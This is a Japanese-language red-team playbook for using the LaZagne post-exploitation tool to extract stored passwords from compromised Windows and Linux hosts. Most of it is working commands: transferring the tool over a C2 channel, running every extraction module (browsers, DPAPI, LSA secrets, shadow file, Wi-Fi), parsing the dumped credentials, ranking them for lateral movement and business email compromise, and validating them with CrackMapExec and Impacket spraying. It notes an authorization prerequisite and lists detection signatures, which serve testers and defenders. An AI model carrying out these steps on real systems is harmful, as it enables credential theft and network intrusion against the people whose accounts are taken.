performing-credential-access-with-lazagne

LaZagne による認証情報アクセスの実施

概要

LaZagne は、ローカルシステムに保存された認証情報を取得するために設計されたオープンソースのポストエクスプロイテーションツールです。Windows、Linux、macOS をサポートしており、最も充実したモジュールライブラリを備えているのは Windows 向けです。LaZagne は、ブラウザ（Chrome、Firefox、Edge、Opera）、メールクライアント（Outlook、Thunderbird）、データベース（PostgreSQL、MySQL、SQLite）、システムストア（Windows 資格情報マネージャー、LSA シークレット、DPAPI）、Wi-Fi プロファイル、Git の認証情報、そのほか数十のアプリケーションからパスワードを回収します。このツールは MITRE ATT&CK の T1555（Credentials from Password Stores）に分類されており、S0349 のソフトウェアとして掲載されています。レッドチームは初期アクセスを得た後に LaZagne を使用し、横方向の移動や権限昇格を可能にする保存済み認証情報を収集します。

使用するタイミング

• LaZagne による認証情報アクセスの実施を伴うセキュリティアセスメントを行う場合
• 関連するセキュリティイベントに対してインシデント対応手順に従う場合
• 定期的なセキュリティテストまたは監査活動を実施する場合
• 実践的なテストを通じてセキュリティ統制を検証する場合

前提条件

• レッドチーミングの概念およびツールに関する知識があること
• 安全に実行するためのテスト環境またはラボ環境にアクセスできること
• 必要な依存関係をインストールした Python 3.8 以降の環境があること
• テスト活動について適切な承認を得ていること

目的

• 侵害された Windows、Linux、または macOS のエンドポイントに LaZagne を展開する
• サポートされているすべてのパスワードストアから認証情報を抽出する
• 回収した認証情報を解析し、横方向の移動に向けて優先順位を付ける
• 価値の高い認証情報（ドメイン管理者、サービスアカウント、クラウドアクセス）を特定する
• 適切な証拠の取り扱いに従い、認証情報収集の結果を文書化する
• 回収した認証情報を BloodHound の攻撃パスと関連付ける

MITRE ATT&CK マッピング

• T1555 - Credentials from Password Stores
• T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
• T1555.004 - Credentials from Password Stores: Windows Credential Manager
• T1552.001 - Unsecured Credentials: Credentials In Files
• T1552.002 - Unsecured Credentials: Credentials in Registry
• T1003.004 - OS Credential Dumping: LSA Secrets
• T1539 - Steal Web Session Cookie

ワークフロー

フェーズ 1: LaZagne の展開

1. LaZagne を侵害されたホストに転送します:

   # Pre-compiled executable (Windows)
   # Transfer lazagne.exe via C2 channel or file upload
   
   # Python version (requires Python on target)
   git clone https://github.com/AlessandroZ/LaZagne.git
   cd LaZagne
   pip install -r requirements.txt
   

2. 実行可否と権限を確認します:

   # Check current user context
   whoami /priv
   
   # LaZagne works with standard user privileges for user-level stores
   # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
   

フェーズ 2: 完全な認証情報抽出（Windows）

1. すべてのモジュールを使用して LaZagne を実行します:

   # Extract all credentials
   lazagne.exe all
   
   # Export results to JSON
   lazagne.exe all -oJ
   
   # Export results to specific file
   lazagne.exe all -oJ -output C:\Temp\creds
   

2. 対象を絞った抽出のために特定のモジュールを実行します:

   # Browsers only (Chrome, Firefox, Edge, Opera, IE)
   lazagne.exe browsers
   
   # Windows credential stores
   lazagne.exe windows
   
   # Database credentials
   lazagne.exe databases
   
   # Email client credentials
   lazagne.exe mails
   
   # Wi-Fi passwords
   lazagne.exe wifi
   
   # Git credentials
   lazagne.exe git
   
   # System credentials (requires elevated privileges)
   lazagne.exe sysadmin
   

フェーズ 3: 認証情報抽出（Linux）

1. Linux のターゲットで LaZagne を実行します:

   # Full extraction
   python3 laZagne.py all
   
   # Browser credentials
   python3 laZagne.py browsers
   
   # System credentials (SSH keys, shadow file with root)
   python3 laZagne.py sysadmin
   
   # Database credentials
   python3 laZagne.py databases
   
   # Git credentials
   python3 laZagne.py git
   

フェーズ 4: 認証情報の分析と優先順位付け

1. JSON 出力を解析し、一意の認証情報を抽出します:

   import json
   with open("creds.json") as f:
       results = json.load(f)
   for module in results:
       for entry in module.get("results", []):
           print(f"Source: {entry.get('Category')}")
           print(f"  User: {entry.get('Login', 'N/A')}")
           print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
   

2. 価値に基づいて認証情報に優先順位を付けます:
   • 横方向の移動に使用するドメイン認証情報（AD アカウント）
   • クラウドサービスの認証情報（AWS、Azure、GCP コンソール）
   • VPN およびリモートアクセスの認証情報
   • データアクセスに使用するデータベースの認証情報
   • ビジネスメール詐欺に利用し得るメールの認証情報
   • 権限昇格に使用するサービスアカウントの認証情報

フェーズ 5: 認証情報の検証と利用

1. 回収したドメイン認証情報を検証します:

   # Test domain credentials with CrackMapExec
   crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
   
   # Test with Impacket
   smbclient.py domain.local/user:'password'@10.10.10.1
   

2. 高価値のターゲットについて BloodHound のパスと照合します
3. 回収した認証情報を横方向の移動または権限昇格に使用します

ツールとリソース

ツール	目的	プラットフォーム
LaZagne	複数ソースからの認証情報抽出	Windows/Linux/macOS
Mimikatz	LSASS/DPAPI の認証情報ダンプ	Windows
SharpChrome	Chrome の認証情報抽出（.NET）	Windows
SharpDPAPI	DPAPI の認証情報復号	Windows
CrackMapExec	認証情報の検証とスプレー	Linux
Impacket	リモートでの認証情報テスト	Linux（Python）

LaZagne モジュールのカバレッジ（Windows）

カテゴリ	モジュール
ブラウザ	Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi
メール	Outlook, Thunderbird, Foxmail
データベース	PostgreSQL, MySQL, SQLiteDB, Robomongo
システム管理	PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager
Windows	Credential Manager, Vault, DPAPI, Autologon
WiFi	保存された Wi-Fi パスワード
Git	Git Credential Store, Git Credential Manager
SVN	TortoiseSVN
チャット	Pidgin, Skype

検出シグネチャ

指標	検出方法
LaZagne.exe のプロセス実行	ハッシュベースの検出を伴う EDR プロセス監視
Chrome Login Data SQLite DB へのアクセス	ブラウザの資格情報ストアに対するファイルアクセス監視
DPAPI CryptUnprotectData API の呼び出し	API フックと ETW トレース
Windows Credential Manager へのアクセス	イベント 5379（Credential Manager の読み取り）
資格情報ストアの大量列挙	連続したアクセスパターンに対する振る舞い分析
資格情報ファイルにアクセスする Python インタープリター	スクリプトブロックログとファイルアクセス監査

検証基準

• 侵害されたエンドポイントに LaZagne を配置済み
• すべてのモジュールを対象に資格情報の完全な抽出を完了
• 分析用に資格情報を JSON 形式でエクスポート済み
• 回収した資格情報を解析し、重複を排除済み
• 価値の高い資格情報を特定し、優先順位を付け済み
• ドメイン資格情報を AD に対して検証済み
• 回収した資格情報から、ラテラルムーブメントの機会を特定済み
• 適切な取り扱い手順に従って証拠を文書化済み